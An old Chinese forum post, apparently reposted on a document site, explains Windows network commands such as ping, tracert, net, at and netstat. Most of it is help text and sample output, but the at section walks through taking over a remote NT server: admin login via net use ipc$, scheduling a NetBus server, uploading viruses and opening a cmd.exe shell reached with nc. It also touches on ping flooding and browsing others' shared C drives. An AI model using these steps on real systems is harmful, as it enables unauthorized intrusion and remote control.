DOS的网络连接命令.docx
《DOS的网络连接命令.docx》由会员分享,可在线阅读,更多相关《DOS的网络连接命令.docx(18页珍藏版)》请在冰豆网上搜索。
DOS的网络连接命令
-- 作者:
HOHOHO
-- 发布时间:
2004-11-1317:
57:
45
-- DOS的网络连接命令
在这之前我想说的就是,我也是菜鸟,不记的在哪里看到这个帖子,可能对有些朋友有点用吧.借花献佛.
网络安全较有关系的几个命令有:
pingwinipcfgtracertnetatnetstat
1.ping:
这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage:
ping[-t][-a][-ncount][-lsize][-f][-iTTL][-vTOS]
[-rcount][-scount][[-jhost-list][-khost-list]]
[-wtimeout]destination-list
Options:
-tPingthespecifedhostuntilinterrupted.(除非人为中止,否则一直ping下去)
-aResolveaddressestohostnames.(把IP转为主机名)
-ncountNumberofechorequeststosend.(响应请求的数量)
-lsizeSendbuffersize.(封包的大小)
-fSetDon\'tFragmentflaginpacket.(信息包中无碎片)
-iTTLTimeToLive.(时间)
-vTOSTypeOfService.(服务类型)
-rcountRecordrouteforcounthops.
-scountTimestampforcounthops.
-jhost-listLoosesourceroutealonghost-list.
-khost-listStrictsourceroutealonghost-list.(较严格的……唉,怎么译好……算了,放着吧)
-wtimeoutTimeoutinmillisecondstowaitforeachreply.(timeout的时间)
比如大家可能都知道的一个命令#ping-f-s65000***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping得到的结果都是requesttimeout。
那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。
2.winipcfg:
这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?
——哈,不好意思,跑题了,但——接着跑两句:
可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。
这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。
3.tracert:
是验证通往远程主机路径的实用程序
用法:
tracert[-d][-hmaximum_hops][-jhost-list][-wtimeout]target_name
参数:
-dDonotresolveaddressestohostnames.(不将IP转为主机名)
-hmaximum_hopsMaximumnumberofhopstosearchfortarget.(最大跟踪数量)
-jhost-listLoosesourceroutealonghost-list.
-wtimeoutWaittimeoutmillisecondsforeachreply.(timeout的时间)
最简单的用法就是tracerthostname其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。
TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?
我略为解释一下吧:
跟踪通往210.142.192.130的路由,最大30:
第一行:
*&^%&*我就是从这里出去的(呵,真不想说^&^)
第四行:
是不是快要出国了呢?
第九行:
呀!
这是日本鬼子的地盘……
4.net:
这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢
这个命令的语法是:
可用的命令包括:
NETACCOUNTSNETHELPNETSHARE
NETCOMPUTERNETHELPMSGNETSTART
NETCONFIGNETLOCALGROUPNETSTATISTICS
NETCONFIGSERVERNETNAMENETSTOP
NETCONFIGWORKSTATIONNETPAUSENETTIME
NETCONTINUENETPRINTNETUSE
NETFILENETSENDNETUSER
NETGROUPNETSESSIONNETVIEW
NETHELPSERVICES列出用户可以启动的网络服务。
NETHELPSYNTAX解释如何阅读NETHELP语法行。
NETHELPcommandMORE用于逐屏显示帮助。
我可就不逐样解释了——这样会把我的手指累坏,就说说常用的两个命令吧
view
这个命令的语法是:
NETVIEW[computername/DOMAIN[:
domainname]]
NETVIEW/NETWORK:
NW[computername]
NETVIEW用于显示一个计算机上共享资源的列表。
当不带选项使用本命令时,
它就会显示当前域或网络上的计算机上的列表。
computername指用户希望浏览其共享资源的计算机。
/DOMAIN:
domainname指定用户希望浏览有效的计算机所在的域。
如果省略了域名,
就会显示局域网络上的所有域。
/NETWORK:
NW显示NetWare网络上所有可用的服务器。
如果指定了一个计算
机名,就会显示NetWare网络中那个计算机上的可用资源。
至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行
netview***.***.**.***就可以了
use
这个命令的语法是:
NETUSE[devicename*][computernamesharename[volume][password*]]
[/USER:
[domainname]username]
[[/DELETE][/PERSISTENT:
{YESNO}]]
NETUSE[devicename*][password*]][/HOME]
NETUSE[/PERSISTENT:
{YESNO}]
NETUSE用于将计算机与共享的资源相连接,或者切断计算机与共享资源的
连接。
当不带选项使用本命令时,它会列出计算机的连接。
devicename指定一个名字以便与资源相连接,或者指定要切断的设备。
有两种类型
的设备名:
磁盘驱动器(D:
至Z:
)和打印机(LPT1:
至LPT3:
)。
输入
一个星号来代替一个指定的设备名可以分配下一个可用设备名。
computername指控制共享资源的计算机的名字。
如果计算机名中包含有空字符,
就要将双反斜线()和计算机名一起用引号("")括起来。
计算机名
可以有1到15个字符。
sharename指共享资源的网络名字。
volume指定一个服务器上的NetWare卷。
用户必须安装Netware的客户服务
(WindowsNT工作站)或者Netware的网关服务(WindowsNT服务
器)并使之与NetWare服务器相连。
password指访问共享资源所需要的密码。
*进行密码提示。
当在密码提示符下输入密码时,密码是不会显示的。
/USER指定连接时的一个不同的用户名。
domainname指定另外一个域。
如果缺省域,就会使用当前登录的域。
username指定登录的用户名。
/HOME将用户与他们的宿主目录相连。
/DELETE取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT控制对永久网络连接的使用。
其缺省值是最近使用的设置。
YES在连接产生时保存它们,并在下次登录时恢复它们。
NO不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被
恢复。
可以使用/DELETE选项开关来删除永久连接。
PS:
前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:
在浏览器中输入file:
///***.***.**.***c¥
则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。
各位不妨试试,还可试试举一反三……
5.at:
排定在特定的日期和时间运行某些命令和程序。
运行AT命令之前必须先启动Schedule服务。
瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。
C:
》netstartschedule
Schedule正在启动服务.....
Schedulw服务启动成功。
AT[computername][[id][/DELETE]/DELETE[/YES]]
AT[computername]time[/INTERACTIVE]
[/EVERY:
date[,...]/NEXT:
date[,...]]"command"
computername指定远程计算机。
如果省略这个参数
命令会被排定在本机上运行。
id指定给排定进度命令的识别号。
/delete删除某个已排定进度的命令。
如果省略标识,计算机上所有已排定进度的
命令都会被删除。
/yes用于删除所有作业,且不想在运行删除时显示确认
信息。
time指定命令运行的时间。
/interactive允许作业在运行时,与用户通过桌面交互。
/every:
date[,...]指定在每周或每月的某日(或某几日)运行命令。
如果省略日期,则默认为在每月的本日运行。
/next:
date[,...]指定在下一个指定日期(如,下周三),运行命令。
如果省略日期,则默认为在每月的本日运行。
"command"准备运行的WindowsNT命令或批处理文件。
知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:
1利用管理员登陆到目的服务器,方法为:
netusex.x.x.xipc¥"adminpwd"/user:
"adminuser"(这里具体方法可参见KILLUSA的文章《HOWTOGETINNT》)
2利用ntsrv.exe启动远程:
netsvcx.x.x.xschedule/start
3利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:
atx.x.x.x00:
00ntsrv.exe/port:
64321
其中00:
00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip地址或hostname,连接!
比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的"Startprogram",键入完整路径,就ok了!
第二种方法是利用netbus的“Appredirect”功能,启动远程telnet服务,如下:
在netbus中击“Appredirect”,键入"C:
》winntsystem32cmd.exe",Port为:
4321,服务就启动了,然后在本地运行:
ncx.x.x.x4321,出现dos启动的画面就表示连接成功:
Microsoft(R)WindowsNT(TM)
(C)Copyright1985-1996MicrosoftCorp.
C:
》
注:
这里有一小段是抄KILLUSA的文章——别找我要稿费啊^&^
stat这是一个观察网络连接状态的实用工具。
它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。
这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。
网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:
DisplaysprotocolstatisticsandcurrentTCP/IPnetworkconnections.(显示协议与当前网络连接)
NETSTAT[-a][-e][-n][-s][-pproto][-r][interval]
-aDisplaysallconnectionsandlisteningports.(显示所有连接和监听端口)
-eDisplaysEthernetstatistics.Thismaybecombinedwiththe-s
option.(显示以太连接,可以与-s连用)
-nDisplaysaddressesandportnumbersinnumeri
ⅠPing
C:
\\>Ping61.136.253.204[向61.136.253.204发送数据包]
Pinging61.136.253.204With32bytesofdata:
[正在发送32字节的包到:
61.136.253.204]
Requesttimedout.[丢包原因:
超时]
Replyfrom61.136.253.204:
bytes=32time=62msTTL=120[正确抵达|大小32字节|消耗时间62ms]
Replyfrom61.136.253.204:
bytes=32time=69msTTL=120
Replyfrom61.136.253.204:
bytes=32time=59msTTL=120
Pingstatisticsfor61.136.253.204[资料统计]
Packets:
Sent=4,Received=3,Lost=1<25%loss>,[发送了4个数据包,收到了3个,丢失1个占25%]
Approximateroundtriptimesinmilli-seconds:
Minimum=59ms,Maximum=69ms,Average=63ms[最快抵达59ms最慢69ms平均时间63ms]
现在我们来加入命令参数:
C:
\\>Ping-a61.136.253.204-l1-t[-a代表同时获取主机名-l1指定包大小为1bytes-t直到用户手动终止]
PingingXINGXING[61.136.253.204]With1bytesofdata:
Replyfrom61.136.253.204:
bytes=1time=49msTTL=120[因为只发送1字节的包,所以时间缩短了]
Replyfrom61.136.253.204:
bytes=1time=59msTTL=120
Replyfrom61.136.253.204:
bytes=1time=54msTTL=120
Replyfrom61.136.253.204:
bytes=1time=55msTTL=120
Replyfrom61.136.253.204:
bytes=1time=50msTTL=120
Replyfrom61.136.253.204:
bytes=1time=49msTTL=120
Replyfrom61.136.253.204:
bytes=1time=49msTTL=120
Pingstatisticsfor61.136.253.204
Packets:
Sent=7,Received=7,Lost=0<0%loss>,[发送了7个数据包,收到了7个,丢失0个占0%]
Approximateroundtriptimesinmilli-seconds:
Minimum=49ms,Maximum=59ms,Average=52ms[最快抵达59ms最慢69ms平均时间63ms]
Control-C[按Ctrl+C强行终止]
^C
C:
\\>
——————————————————————————————————————————
——————————————————————————————————————————
——————————————————————————————————————————
ⅡNetstat[这是一个观察网络连接状态的实用工具]
C:
\\>Netstat-a[显示协议与当前网络连接]
ActiveConnections[活动的连接]
[端口类型][本地的][外部连接][状态]
ProtoLocalAddressForeignAddressState
TCPfreefwq:
telnetfreefwq:
0LISTENING[端口类型TCP端口Telnet监听状态]
TCPfreefwq:
epmapfreefwq:
0LISTENING
TCPfreefwq:
microsoft-dsfreefwq:
0LISTENING
TCPfreefwq:
1026freefwq:
0LISTENING[端口类型TCP端口1027****]
TCPfreefwq:
1027freefwq:
0LISTENING
TCPfreefwq:
5277freefwq:
0LISTENING
UDPfreefwq:
microsoft-ds*:
*
UDPfreefwq:
3001*:
*
UDPfreefwq:
3005*:
*[端口类型UDP端口3005]
UDPfreefwq:
4000*:
*
UDPfreefwq:
5419*:
*
.
.
.
C:
\\>Netstat-n-a[扩展命令参数]
ActiveConnections[活动的连接]
TCP192.168.0.1:
1390.0.0.0:
0LISTENING
TCP192.168.0.1:
30020.0.0.0:
0LISTENING
TCP192.168.0.1:
30030.0.0.0:
0LISTENING
TCP192.168.0.1:
30040.0.0.0:
0LISTENING
TCP211.91.155.117:
1390.0.0.0:
0LISTENING
TCP211.91.155.117:
838461.186.175.113:
2887ESTABLISHED[现在就可以很清楚的看见IP地址和端口名了]
UDP0.0.0.0:
135*:
*
UDP0.0.0.0:
445*:
*
UDP0.0.0.0:
3001*:
*
UDP0.0.0.0:
3005*:
*
UDP0.0.0.0:
4000*:
*
.
.
.
C:
\\>Netstat-e-a[扩展命令参数]
InterfaceStatistics[通信数据统计]
Received[收到的]Sent[发送的]
Bytes[字节]9193082197757485
Unicastpackets[Unicast型]413966415520
Non-unicastpackets40041095
Discards00
Errors[错误的]00
Unknownprotocols[未知协议]1564
———————————————————————————————————————————
———————————————————————————————————————————
———————————————————————————————————————————
ⅢAT[排定在特定的日期和时间运行某些命令和程序]
C:
\\>AT
列表是空的。
[因为我们现在没有给任何指定]
C:
\\>AT22:
30StartC:
\\如果这都不算爱.mp3
新加了一项作业,其作业ID=1[现在我们新建立了一个任务在22:
30分系统将自动播放歌曲]
C:
\\>AT
状态ID日期时间命令行[我们输入AT就可以看见先前的任务已经指定了]
-------------------------------------------------
1今天下午22:
00StartC:
\\如果这都不算爱.mp3
C:
\\>AT1/Delete[删除1号任务]
———————————————————————————————————————————
——打字打的头昏眼花了,算了NET命令就简单介绍几个好了———
———————————————————————————————————————————
ⅣNet
1.Netuser[查看用户列表,或者添加用户]
C:
\\>Netuser
[下面将会显示本机上的用户]
C:
\\>NetuserFengXiaoTian/add
[将在系统中添加一个新用户名字叫FengXiaoTian
C:
\\>Netuseradministrator
[查看管理员的登陆情况很有用的哦!
万一管理员现在在线。
。
。
。
]